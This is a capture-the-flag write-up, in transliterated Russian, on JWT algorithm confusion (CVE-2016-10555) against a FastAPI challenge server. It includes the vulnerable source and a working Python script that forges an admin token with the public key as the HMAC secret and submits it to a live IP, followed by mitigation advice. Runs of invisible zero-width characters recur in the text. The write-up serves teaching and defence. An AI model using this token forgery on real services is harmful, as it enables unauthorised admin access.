← Back to Writeups
CUSTOMMediumWeb

Moment s JWT (JWT Moment)

XESXOR9/2/20264 min read
#web#custom#medium#cve-2016-10555

Moment s JWT (JWT Moment)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: web

Summary

Walkthrough of the CUSTOM Web Moment s JWT (JWT Moment). Task: bypass JWT authentication on a FastAPI application to gain admin access. Solution: exploit JWT algorithm confusion (CVE-2016-10555) by switching from RS256 to HS256 and signing with the public k

Opisanie

JWT task dlya nastoyashchikh Performance Artists

URL: http://62.173.140.174:16005

Analiz

1. Razvedka

Glavnaya stranitsa (/) vozvrashchayet ishodnyy kod prilozheniya na FastAPI:

python
from fastapi import FastAPI
import jwt  # PyJWT 1.5.0 (vulnerable version!)

app = FastAPI()
flag = "CODEBY{...}"

# Klyuchi
private_key = open("private.pem").read()
public_key = open("public.pem").read()
secret = public_key.strip()  # <-- Klyuchevaya uyazvimost'!
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

@app.get("/")
def index():
    return open(__file__).read()

@app.get("/get-pub")
def get_pub():
    return public_key

@app.get("/get-jwt")
def get_jwt():
    # Generatsiya s RS256 (asimmetrichnyy)
    token = jwt.encode(
        {"name": "guest", "isAdmin": False},
        private_key,
        algorithm="RS256"
    )
    return {"token": token}

@app.get("/check-jwt/{token}")
def check_jwt(token: str):
    try:
        # Proverka prinimayet OBA algoritma!
        data = jwt.decode(token, secret, algorithms=["HS256", "RS256"])
        if data.get("name") and data.get("isAdmin") == True:
            return {"msg": f"Privet, admin! Derzhi flag: {flag}"}
        return {"msg": "Not admin"}
    except Exception as e:
        return {"error": str(e)}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Uyazvimost': JWT Algorithm Confusion (CVE-2016-10555)

Problema v kode:

  1. Generatsiya tokena: Ispol'zuyetsya RS256 (asimmetrichnyy) — privatnyy klyuch podpisyvayet, publichnyy proveryayet
  2. Proverka tokena: algorithms=["HS256", "RS256"] — prinimayet OBA algoritma!
  3. Sekret dlya proverki: secret = public_key.strip() — publichnyy klyuch

Ataka:

RS256 (asimmetrichnyy):

  • Privatnyy klyuch podpisyvayet
  • Publichnyy klyuch proveryayet

HS256 (simmetrichnyy):

  • Odin i tot zhe klyuch podpisyvayet I proveryayet ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Yesli server prinimayet oba algoritma i ispol'zuyet publichnyy klyuch kak secret:

  1. Atakuyushchiy poluchayet publichnyy klyuch cherez /get-pub
  2. Sozdayot JWT s alg: HS256 i podpisyvayet HMAC-SHA256 s publichnym klyuchom kak sekretom
  3. Server proveryayet podpis' s tem zhe publichnym klyuchom — podpis' validna!

3. Pochemu eto rabotayet

Legitimnyy token (RS256):
  Header: {"alg": "RS256", "typ": "JWT"}
  Signature = RSA_Sign(private_key, header.payload)
  Verification = RSA_Verify(public_key, signature) ✓
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vredonosnyy token (HS256):
  Header: {"alg": "HS256", "typ": "JWT"}
  Signature = HMAC_SHA256(public_key, header.payload)
  Verification = HMAC_SHA256(public_key, header.payload) ✓

Server ispol'zuyet public_key dlya proverki v oboikh sluchayakh!

Resheniye

Shag 1: Polucheniye publichnogo klyucha

bash
curl http://62.173.140.174:16005/get-pub

Sokhranit' v pub.pem.

Shag 2: Sozdaniye vredonosnogo JWT

python
#!/usr/bin/env python3
import base64
import hmac
import hashlib
import json
import requests
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE_URL = "http://62.173.140.174:16005"

def b64url_encode(data):
    """Base64 URL-safe encoding bez padding"""
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Polucheniye publichnogo klyucha
response = requests.get(f"{BASE_URL}/get-pub")
pub_key = response.text.strip()  # Vazhno: .strip() kak v servere!

# JWT Header — menyayem algoritm na HS256
header = {"alg": "HS256", "typ": "JWT"}

# JWT Payload — admin privileges
payload = {"name": "hacker", "isAdmin": True}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Kodirovaniye
header_b64 = b64url_encode(json.dumps(header, separators=(',', ':')))
payload_b64 = b64url_encode(json.dumps(payload, separators=(',', ':')))
message = f"{header_b64}.{payload_b64}".encode()

# Podpis' HMAC-SHA256 s publichnym klyuchom kak sekretom
signature = hmac.new(
    pub_key.encode(),  # Publichnyy klyuch kak HMAC sekret
    message,
    hashlib.sha256
).digest()
signature_b64 = b64url_encode(signature)

# Final'nyy token
malicious_jwt = f"{header_b64}.{payload_b64}.{signature_b64}"
print(f"Malicious JWT: {malicious_jwt}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Otpravka
response = requests.get(f"{BASE_URL}/check-jwt/{malicious_jwt}")
print(response.json())

Shag 3: Polucheniye flaga

bash
python3 exploit.py
# {'msg': 'Privet, admin! Derzhi flag: CODEBY{REDACTED}'}

Klyuchevyye indikatory

Etu tekhniku ispol'zovat' kogda:

  • Server prinimayet neskol'ko JWT algoritmov (algorithms=["HS256", "RS256"])
  • Publichnyy klyuch dostupen (endpoint /get-pub, .well-known/jwks.json, sertifikat)
  • Ispol'zuyetsya staraya versiya PyJWT (< 2.0) ili drugaya uyazvimaya biblioteka
  • Sekret dlya verifikatsii — eto publichnyy klyuch ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tekhniki

TekhnikaOpisaniye
Algorithm ConfusionSmena RS256 na HS256 v zagolovke tokena
Public Key as HMAC SecretIspol'zovaniye publichnogo klyucha dlya HMAC podpisi
CVE-2016-10555Uyazvimost' v PyJWT i drugikh bibliotekakh
Token ForgerySozdaniye validnogo tokena bez privatnogo klyucha

Vazhnyye detali

Pochemu nuzhno .strip() publichnyy klyuch

Server ispol'zuyet secret = public_key.strip(). Yesli ne udalit' trailing newline, podpis' budet neverna: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
# Nepravil'no
pub_key = open("pub.pem").read()  # Mozhet soderzhat' \n v kontse

# Pravil'no
pub_key = open("pub.pem").read().strip()

Pochemu nel'zya ispol'zovat' PyJWT >= 2.0

Sovremennyye versii PyJWT blokiruyut etu ataku:

  • Trebuyut yavnogo ukazaniya tipa klyucha
  • Proveryayut sootvetstviye algoritma i klyucha
  • Otklonyayut asimmetrichnyye klyuchi dlya HS256

Poetomu nuzhno vruchnuyu sozdavat' JWT cherez hmac modul'.

Zashchita

Dlya predotvrashcheniya podobnykh atak:

  1. Ukazhite tol'ko odin algoritm — algorithms=["RS256"]
  2. Obnovite biblioteki — PyJWT >= 2.0 zashchishchen
  3. Ispol'zuyte raznyye klyuchi — ne publichnyy klyuch kak HMAC sekret
  4. Validiruite tip klyucha — RSA klyuch tol'ko dlya RS256 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
# Bezopasnyy kod
data = jwt.decode(
    token,
    public_key,
    algorithms=["RS256"],  # Tol'ko odin algoritm!
    options={"require": ["exp", "iat"]}
)

Ssylki

Key Takeaways / Lessons

  • Mastering web was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-03 • CUSTOM • Moment s JWT (JWT Moment) • Difficulty: Medium